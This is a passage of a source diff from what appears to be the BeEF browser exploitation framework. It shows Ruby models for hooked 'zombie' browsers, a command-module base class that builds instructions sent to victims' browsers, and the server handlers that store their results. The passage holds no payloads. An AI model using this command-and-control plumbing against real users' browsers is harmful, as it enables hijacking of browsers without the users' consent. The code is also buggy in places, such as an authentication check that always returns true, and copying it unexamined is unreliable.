raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil?
|
||||
zombie_ip = zombie.ip
|
||||
|
||||
# get the command module data structure from the database
|
||||
command = first(:id => command_id.to_i, :has_run => false, :zombie_id => zombie_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil?
|
||||
|
||||
# create the entry for the results
|
||||
command.results.new(:zombie_id => zombie_id, :data => result, :date => Time.now.to_i)
|
||||
|
||||
# flag that the command has run and the results have been returned
|
||||
command.has_run = true
|
||||
|
||||
# write the data to the database
|
||||
command.save
|
||||
|
||||
# log that the result was returned
|
||||
BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
19
lib/model/commandmodule.rb
Normal file
@@ -0,0 +1,19 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class CommandModule
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'command_modules'
|
||||
|
||||
property :id, Serial
|
||||
property :path, Text, :lazy => false
|
||||
property :name, Text, :lazy => false
|
||||
|
||||
has n, :commands
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
23
lib/model/http.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Http
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'http'
|
||||
|
||||
property :id, Serial
|
||||
property :request, Text, :lazy => true
|
||||
property :response, Text, :lazy => true
|
||||
property :method, Text, :lazy => false
|
||||
property :content_length, Text, :lazy => false, :default => 0
|
||||
property :domain, Text, :lazy => false
|
||||
property :path, Text, :lazy => false
|
||||
property :date, DateTime, :lazy => false
|
||||
property :has_ran, Boolean, :default => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
19
lib/model/log.rb
Normal file
@@ -0,0 +1,19 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Log
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'logs'
|
||||
|
||||
property :id, Serial
|
||||
property :type, Text, :lazy => false
|
||||
property :event, Text, :lazy => false
|
||||
property :date, DateTime, :lazy => false
|
||||
property :zombie_id, Text, :lazy => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
17
lib/model/plugin.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Plugin
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'plugins'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text, :lazy => false
|
||||
property :path, Text, :lazy => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
17
lib/model/result.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Result
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'results'
|
||||
|
||||
property :id, Serial
|
||||
property :date, String, :length => 15, :lazy => false
|
||||
property :data, Text
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
24
lib/model/user.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class User
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'users'
|
||||
|
||||
property :id, Serial
|
||||
property :session_id, Text
|
||||
property :ip, Text
|
||||
|
||||
#
|
||||
# Checks if the user has been authenticated
|
||||
#
|
||||
def authenticated?
|
||||
true || false if not @ip.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
68
lib/model/zombie.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Zombie
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'zombies'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text, :lazy => false
|
||||
property :ip, Text, :lazy => false
|
||||
property :firstseen, String, :length => 15
|
||||
property :lastseen, String, :length => 15
|
||||
property :httpheaders, Text, :lazy => false
|
||||
property :domain, Text, :lazy => false # the domain originating the hook request
|
||||
property :count, Integer, :lazy => false
|
||||
property :has_init, Boolean, :default => false
|
||||
|
||||
has n, :commands
|
||||
has n, :results
|
||||
has n, :logs
|
||||
has n, :https
|
||||
|
||||
#
|
||||
# Increases the count of a zombie
|
||||
#
|
||||
def count!
|
||||
if not self.count.nil? then self.count += 1; else self.count = 1; end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# zombie is using (i.e. Firefox, Internet Explorer)
|
||||
#
|
||||
def browser_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR
|
||||
|
||||
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the os type the
|
||||
# hooked browser is running (i.e. Windows, Linux)
|
||||
#
|
||||
def os_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR
|
||||
return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR
|
||||
return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR
|
||||
|
||||
BeEF::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
238
lib/modules/command.rb
Normal file
@@ -0,0 +1,238 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module contains a list of utils functions to use
|
||||
# when writing commands.
|
||||
#
|
||||
module CommandUtils
|
||||
|
||||
# Format a string to support multiline in javascript.
|
||||
def format_multiline(text); text.gsub(/\n/, '\n'); end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The Command Module Context is being used when evaluating code in eruby.
|
||||
# In other words, we use that code to add funky functions to the
|
||||
# javascript templates of our commands.
|
||||
#
|
||||
class CommandContext < Erubis::Context
|
||||
include BeEF::CommandUtils
|
||||
|
||||
def initialize(hash=nil);
|
||||
super(hash);
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# This class is the base class for all command modules in the framework.
|
||||
#
|
||||
# Two instances of this object are created during the execution of command module.
|
||||
#
|
||||
class Command
|
||||
|
||||
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
|
||||
attr_accessor :zombie, :command_id, :session_id, :target
|
||||
|
||||
include BeEF::CommandUtils
|
||||
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
|
||||
VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
|
||||
VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
|
||||
# Super class controller
|
||||
def initialize(info)
|
||||
@info = info
|
||||
@datastore = @info['Data'] || nil
|
||||
@friendlyname = @info['Name'] || nil
|
||||
@target = @info['Target'] || nil
|
||||
@output = ''
|
||||
@path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '')
|
||||
@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
|
||||
@id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id
|
||||
@use_template = false
|
||||
@auto_update_zombie = false
|
||||
@results = {}
|
||||
@beefjs_components = {}
|
||||
end
|
||||
|
||||
# This function is called just before the intructions are sent to hooked browser.
|
||||
# The derived class can use this function to update params used in the command module.
|
||||
def pre_send;
|
||||
end
|
||||
|
||||
# Callback method. This function is called when the hooked browser sends results back.
|
||||
def callback; end
|
||||
|
||||
# If the command requires some data to be sent back, this function will process them.
|
||||
def process_zombie_response(head, params); end
|
||||
|
||||
# Returns true if the command needs configurations to work. False if not.
|
||||
def needs_configuration?; !@datastore.nil?; end
|
||||
|
||||
# Returns information about the command in a JSON format.
|
||||
def to_json
|
||||
{
|
||||
'Name' => info['Name'],
|
||||
'Description' => info['Description'],
|
||||
'Category' => info['Category'],
|
||||
'Data' => info['Data']
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
|
||||
def build_datastore(data);
|
||||
@datastore = JSON.parse(data);
|
||||
end
|
||||
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
#
|
||||
# build_callback_datastore(http_params, http_header)
|
||||
#
|
||||
def build_callback_datastore(http_params, http_header)
|
||||
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
http_params.keys.each {|http_params_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_key?(http_params_key)
|
||||
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_param?(http_params_value)
|
||||
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_header.keys.each { |http_header_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_commmamd_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
# verify whether this command module has been checked against the target browser
|
||||
def verify_target
|
||||
# if the target is not set in the module return unknown
|
||||
return VERIFIED_UNKNOWN if @target.nil?
|
||||
return VERIFIED_UNKNOWN if @target['browser_name'].nil?
|
||||
|
||||
# retrieve the target browser name
|
||||
browser_name = get_browser_detail('BrowserName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "browser_name is nil" if browser_name.nil?
|
||||
return VERIFIED_UNKNOWN if browser_name.eql? 'UNKNOWN'
|
||||
|
||||
# check if the browser is targeted
|
||||
all_browsers_targeted = @target['browser_name'].eql? BeEF::Constants::Browsers::ALL
|
||||
target_browser_matches = browser_name.eql? @target['browser_name']
|
||||
return VERIFIED_NOT_WORKING if not (target_browser_matches || all_browsers_targeted)
|
||||
|
||||
# assume that the browser_maxver and browser_minver were excluded
|
||||
return VERIFIED_WORKING if @target['browser_maxver'].nil? && @target['browser_minver'].nil?
|
||||
|
||||
# check if the browser version is targeted
|
||||
browser_version = get_browser_detail('BrowserVersion')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "browser_version is nil" if browser_version.nil?
|
||||
return VERIFIED_UNKNOWN if browser_version.eql? 'UNKNOWN'
|
||||
|
||||
# check the browser version number is within range
|
||||
return VERIFIED_NOT_WORKING if browser_version.to_f > @target['browser_maxver'].to_f
|
||||
return VERIFIED_NOT_WORKING if browser_version.to_f < @target['browser_minver'].to_f
|
||||
|
||||
# all the checks passed and this module targets the user agent
|
||||
VERIFIED_WORKING
|
||||
end
|
||||
|
||||
# Store the browser detail in the database.
|
||||
def set_browser_detail(key, value)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
|
||||
BD.set(@session_id, key, value)
|
||||
end
|
||||
|
||||
# Get the browser detail from the database.
|
||||
def get_browser_detail(key)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
|
||||
BD.get(@session_id, key)
|
||||
end
|
||||
|
||||
# Tells the framework that the command module will be using a template file.
|
||||
def use_template!;
|
||||
tpl = @info['File'].sub(/.rb$/, '.js')
|
||||
@template = tpl if File.exists? tpl
|
||||
|
||||
@use_template = true;
|
||||
end
|
||||
|
||||
# Returns true if the command uses a template. False if not.
|
||||
def use_template?; @use_template; end
|
||||
|
||||
# Returns the output of the command. These are the actual instructions sent to the browser.
|
||||
def output
|
||||
if use_template? # and @template
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
|
||||
|
||||
@eruby = Erubis::FastEruby.new(File.read(@template))
|
||||
|
||||
if @datastore
|
||||
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
|
||||
@datastore['command_id'] = @command_id
|
||||
|
||||
command_context = BeEF::CommandContext.new
|
||||
@datastore.each{|k,v|
|
||||
command_context[k] = v
|
||||
}
|
||||
|
||||
@output = @eruby.evaluate(command_context)
|
||||
else
|
||||
@ouput = @eruby.result()
|
||||
end
|
||||
end
|
||||
|
||||
@output
|
||||
end
|
||||
|
||||
# Returns the results for the zombie.
|
||||
def get_results
|
||||
return '' if @results.length.eql? 0
|
||||
|
||||
@results.to_json
|
||||
end
|
||||
|
||||
# Saves the results received from the zombie.
|
||||
def save(results);
|
||||
@results = results;
|
||||
end
|
||||
|
||||
# Tells the framework to load a specific module of the BeEFJS library that
|
||||
# the command will be using.
|
||||
#
|
||||
# use 'beef.net.local'
|
||||
# use 'beef.encode.base64'
|
||||
#
|
||||
def use(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
|
||||
|
||||
return if beefjs_components.include? component
|
||||
|
||||
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
|
||||
|
||||
@beefjs_components[component] = component_path
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@use_template
|
||||
@eruby
|
||||
@update_zombie
|
||||
@results
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
23
lib/patches/webrick/cookie.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class Cookie
|
||||
attr_accessor :httponly
|
||||
|
||||
def to_s
|
||||
ret = ""
|
||||
ret << @name << "=" << @value
|
||||
ret << "; " << "Version=" << @version.to_s if @version > 0
|
||||
ret << "; " << "Domain=" << @domain if @domain
|
||||
ret << "; " << "Expires=" << @expires if @expires
|
||||
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
|
||||
ret << "; " << "Comment=" << @comment if @comment
|
||||
ret << "; " << "Path=" << @path if @path
|
||||
ret << "; " << "Secure" if @secure
|
||||
ret << "; " << "HttpOnly" if @httponly
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
15
lib/patches/webrick/genericserver.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPServer < ::WEBrick::GenericServer
|
||||
|
||||
# I'm patching WEBrick so it does not log http requests anymore.
|
||||
# The reason being that it seems to considerably slow down BeEF which receives
|
||||
# numerous requests simultaneously. Additionally, it was also found to crash
|
||||
# the thread when not being able to write to the log file (which happened when
|
||||
# overloaded).
|
||||
def access_log(config, req, res); return; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
77
lib/patches/webrick/httprequest.rb
Normal file
@@ -0,0 +1,77 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPRequest
|
||||
|
||||
# I'm patching the HTTPRequest class so that it when it receives POST
|
||||
# http requests, it parses the query present in the body even if the
|
||||
# content type is not set.
|
||||
#
|
||||
# The reason for this patch is that when a zombie sends back data to
|
||||
# BeEF, that data was not parsed because by default the content-type
|
||||
# was not set directly. I prefer patching WEBrick rather than editing
|
||||
# the BeEFJS library because cross domain http requests would be harder
|
||||
# to implement at the server level.
|
||||
#
|
||||
# Note: this function would need to be modified if we ever needed to
|
||||
# use multipart POST requests.
|
||||
def parse_query()
|
||||
begin
|
||||
if @request_method == "GET" || @request_method == "HEAD"
|
||||
@query = HTTPUtils::parse_query(@query_string)
|
||||
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
|
||||
@query = HTTPUtils::parse_query(body)
|
||||
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
|
||||
boundary = HTTPUtils::dequote($1)
|
||||
@query = HTTPUtils::parse_form_data(body, boundary)
|
||||
else
|
||||
@query = Hash.new
|
||||
end
|
||||
rescue => ex
|
||||
raise HTTPStatus::BadRequest, ex.message
|
||||
end
|
||||
end
|
||||
|
||||
def get_cookie_value(name)
|
||||
|
||||
return nil if name.nil?
|
||||
|
||||
@cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return c.value if (c.name.to_s.eql? name)
|
||||
}
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_referer_domain
|
||||
|
||||
referer = header['referer'][0]
|
||||
|
||||
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
|
||||
return $1
|
||||
end
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_hook_session_value()
|
||||
|
||||
config = BeEF::Configuration.instance
|
||||
hook_session_name = config.get('hook_session_name')
|
||||
|
||||
@query[hook_session_name] || nil
|
||||
|
||||
end
|
||||
|
||||
# return the command module command_id value from the request
|
||||
def get_command_id()
|
||||
@query['command_id'] || nil
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
75
lib/patches/webrick/httpresponse.rb
Normal file
@@ -0,0 +1,75 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPResponse
|
||||
|
||||
#
|
||||
# set caching headers none
|
||||
#
|
||||
def set_no_cache()
|
||||
@header['ETag'] = nil
|
||||
@header['Last-Modified'] = Time.now + 100**4
|
||||
@header['Expires'] = Time.now - 100**4
|
||||
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
|
||||
@header['Pragma'] = 'no-cache'
|
||||
end
|
||||
|
||||
#
|
||||
# set the cookie in the response
|
||||
# Limit: only one set-cookie will be within the response
|
||||
#
|
||||
def set_cookie(name, value, path = '/', httponly = true, secure = true)
|
||||
|
||||
cookie = WEBrick::Cookie.new(name, value)
|
||||
cookie.path = path
|
||||
cookie.httponly = httponly
|
||||
cookie.secure = secure
|
||||
|
||||
# add cookie to response header
|
||||
@header['Set-Cookie'] = cookie.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# This patch should prevent leakage of directory listing, access
|
||||
# auth errors, etc.
|
||||
#
|
||||
def set_error(ex, backtrace=false)
|
||||
|
||||
# set repsonse headers
|
||||
@status = 404;
|
||||
@header['content-type'] = "text/html; charset=UTF-8"
|
||||
|
||||
# set response content
|
||||
@body = ''
|
||||
@body << <<-_end_of_html_
|
||||
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>No page for you!</TITLE>
|
||||
|
||||
<STYLE type="text/css">
|
||||
BODY { font: 8pt/12pt verdana }
|
||||
H1 { font: 13pt/15pt verdana }
|
||||
H2 { font: 8pt/12pt verdana }
|
||||
A:link { color: black; text-decoration: none }
|
||||
A:visited { color: black; text-decoration: none }
|
||||
</STYLE>
|
||||
|
||||
</HEAD><BODY>
|
||||
<TABLE width=500 border=0 cellspacing=10>
|
||||
<TR>
|
||||
<TD>
|
||||
|
||||
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
|
||||
|
||||
</TD>
|
||||
</TR>
|
||||
</TABLE>
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
||||
_end_of_html_
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
32
lib/patches/webrick/httpservlet/filehandler.rb
Normal file
@@ -0,0 +1,32 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
|
||||
module WEBrick
|
||||
module HTTPServlet
|
||||
|
||||
class FileHandler
|
||||
|
||||
# prevent directory traversal attacks
|
||||
def prevent_directory_traversal(req, res)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
|
||||
|
||||
if trailing_pathsep?(req.path_info)
|
||||
expanded = File.expand_path(req.path_info + "x")
|
||||
expanded.chop! # remove trailing "x"
|
||||
else
|
||||
expanded = File.expand_path(req.path_info)
|
||||
end
|
||||
req.path_info = expanded
|
||||
end
|
||||
|
||||
# checks if a string contains null characters
|
||||
def has_null? (str)
|
||||
str.split(//).each {|c|
|
||||
return true if c.eql?("\000")
|
||||
}
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
61
lib/server/commandhandler.rb
Normal file
@@ -0,0 +1,61 @@
|
||||
module BeEF
|
||||
|
||||
class CommandHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
include BeEF::Server::Modules::Common
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
def initialize(config, kclass)
|
||||
@guard = Mutex.new
|
||||
@kclass = BeEF::Modules::Commands.const_get(kclass.capitalize)
|
||||
end
|
||||
|
||||
def do_POST(request, response)
|
||||
@body = ''
|
||||
@request = request
|
||||
@response = response
|
||||
@http_params = @request.query # used to populate datastore
|
||||
@http_header = @request.header # used to populate datastore
|
||||
@http_header['referer'] ||= '' # used to populate datastore
|
||||
|
||||
# get and check command id from the request
|
||||
command_id = @request.get_command_id()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_commmamd_id?(command_id)
|
||||
|
||||
# get and check session id from the request
|
||||
hook_session_id = request.get_hook_session_value()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(hook_session_id)
|
||||
|
||||
@guard.synchronize {
|
||||
# create the command module to handle the response
|
||||
command = @kclass.new # create the commamd module
|
||||
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
|
||||
command.session_id = hook_session_id
|
||||
command.callback # call the command module's callback function - it will parse and save the results
|
||||
|
||||
# get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
|
||||
command_results = command.get_results()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
|
||||
|
||||
# save the command module results to the datastore and create a log entry
|
||||
BeEF::Models::Command.save_result(hook_session_id, command_id, command_friendly_name, command_results)
|
||||
}
|
||||
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST'
|
||||
response.body = @body
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
118
lib/server/httpcontroller.rb
Normal file
@@ -0,0 +1,118 @@
|
||||
require 'erubis'
|
||||
|
||||
module BeEF
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class HttpController
|
||||
|
||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||
|
||||
C = BeEF::Models::Command
|
||||
E = BeEF::Models::CommandModule
|
||||
Z = BeEF::Models::Zombie
|
||||
|
||||
#
|
||||
# Class constructor. Takes data from the child class and populates
|
||||
# itself with it.
|
||||
#
|
||||
def initialize(data = {})
|
||||
@erubis = nil
|
||||
@status = 200 if data['status'].nil?
|
||||
|
||||
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
|
||||
|
||||
if data['paths'].nil? and self.methods.include? "index"
|
||||
@paths = {'index' => '/'}
|
||||
else
|
||||
@paths = data['paths']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.query
|
||||
@session = BeEF::UI::Session.instance
|
||||
auth_url = '/ui/authentication'
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication)
|
||||
|
||||
# request is unauthenicated so redirect to auth page
|
||||
@body = page_redirect(auth_url)
|
||||
return
|
||||
|
||||
end
|
||||
|
||||
# search for matching path and get the function to call
|
||||
function = get_path_function(request.path_info)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
|
||||
|
||||
eval "self.#{function}"
|
||||
|
||||
# use template
|
||||
class_s = self.class.to_s.sub('BeEF::UI::', '').downcase
|
||||
|
||||
template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui
|
||||
|
||||
template_module = "#{$root_dir}/modules/plugins/#{class_s}/#{function}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_module)) if File.exists? template_module
|
||||
|
||||
@body = @eruby.result(binding()) if not @eruby.nil?
|
||||
|
||||
if @headers['Content-Type'].nil?
|
||||
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
|
||||
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# get the function mapped to path_info
|
||||
#
|
||||
def get_path_function(path_info)
|
||||
|
||||
return nil if @paths.nil?
|
||||
|
||||
# search the paths
|
||||
@paths.each{ |function, path|
|
||||
return function if path.eql? path_info
|
||||
return function if path.eql? path_info + '/'
|
||||
}
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Forges a redirect page
|
||||
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body>" end
|
||||
|
||||
# Forges a redirect script
|
||||
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
|
||||
|
||||
# Forges a html script tag
|
||||
def script_tag(filename) "<script src=\"#{$url}/ui/public/javascript/#{filename}\" type=\"text/javascript\"></script>" end
|
||||
|
||||
# Forges a html stylesheet tag
|
||||
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/public/css/#{filename}\" type=\"text/css\" />" end
|
||||
|
||||
# Forges a hidden html nonce tag
|
||||
def nonce_tag
|
||||
@session = BeEF::UI::Session.instance
|
||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@eruby
|
||||
|
||||
# Unescapes a URL-encoded string.
|
||||
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
38
lib/server/httphandler.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
module BeEF
|
||||
|
||||
class HttpHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def initialize(config, klass)
|
||||
super
|
||||
@guard = Mutex.new
|
||||
@klass = BeEF::UI.const_get(klass.to_s.capitalize)
|
||||
end
|
||||
|
||||
def do_GET(request, response)
|
||||
@request = request
|
||||
@response = response
|
||||
|
||||
controller = nil
|
||||
@guard.synchronize {
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
}
|
||||
|
||||
response.header.replace(controller.headers)
|
||||
response.body = controller.body.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
alias do_POST do_GET
|
||||
end
|
||||
|
||||
end
|
||||
121
lib/server/httphookserver.rb
Normal file
@@ -0,0 +1,121 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# Class defining the BeEF http server.
|
||||
#
|
||||
class HttpHookServer
|
||||
|
||||
# call BeEF::Server.instance
|
||||
include Singleton
|
||||
|
||||
VERSION = BeEF::Configuration.instance.get('beef_version')
|
||||
|
||||
attr_reader :root_dir, :url, :configuration, :command_urls
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Configuration.instance
|
||||
